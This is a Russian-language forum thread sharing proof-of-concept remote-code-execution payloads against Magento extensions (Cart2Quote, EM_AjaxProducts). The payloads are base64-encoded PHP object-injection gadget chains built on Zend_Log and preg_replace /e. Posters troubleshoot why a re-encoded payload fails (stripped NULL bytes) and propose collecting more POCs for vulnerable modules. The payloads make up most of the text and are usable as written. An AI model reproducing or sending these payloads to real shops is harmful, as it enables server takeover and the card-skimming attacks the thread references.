[ Обзор уязвимостей Magento ]

Баги+ФИКСЫ Magento

URL: index.php/qquoteadv/download/downloadCustomOption/
Module: Cart2Quote
POC:
POST: id=YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjk6InBocGluZm8oKSI7fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiACoAX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIAKgBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0=

URL: index.php/ajaxproducts/index/index/
Module: EM_AjaxProducts
POC:
POST: params=YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjE2OiJleGl0KCJNYVphWWFOYSIpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ==

 

В меру лечения сайтов от вирусов и их безопасности, при снифинге запросов, был выявлен следующий shellcod RCE через унсериализацию данных в плагине:
в кодеровке base64:

Пример лога:

 

Под первый зенд, cпаcибо
Что за плагин использовался, секрет?

 

удваиваю, интересно где точка входа :|

 

Нет, не секрет, в паблике месяца 3 висит:

 

В чем может быть причина? Раскодировал,закодировал по новому - не работает.

Скиньте,раскодированный пример,который после новой перекодировки будет работать,ну и сервис,который нормально это все делает,а то сколько перепробовал - разные сервисы выдают разные варианты.

Начальная строка

YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjk6InBocGluZm8oKSI7fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiACoAX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIAKgBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0=

Раскодированная-закодированная по новому

YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIgKiBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IiAqIF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiICogX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIgKiBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIgKiBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiICogX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IiAqIF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiICogX3JlcGxhY2VtZW50IjtzOjk6InBocGluZm8oKSI7fXM6MjA6IiAqIF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiICogX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIgKiBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0=

 

Каким редактором пользуйтесь? NULL байты потерлись... некоторые редакторы их затерают

 

https://www.base64decode.org/ - тут декодер
редактор notepad++ если я правильно понял

 

Да, я им пользуюсь и в нем же есть кодер/декодер, с ним у меня все норм работает.

 

В рамках темы hTTps://gwillem.gitlab.io/2018/10/23/magecart-extension-0days/ - предлагаю подбить список POC по этим модулям.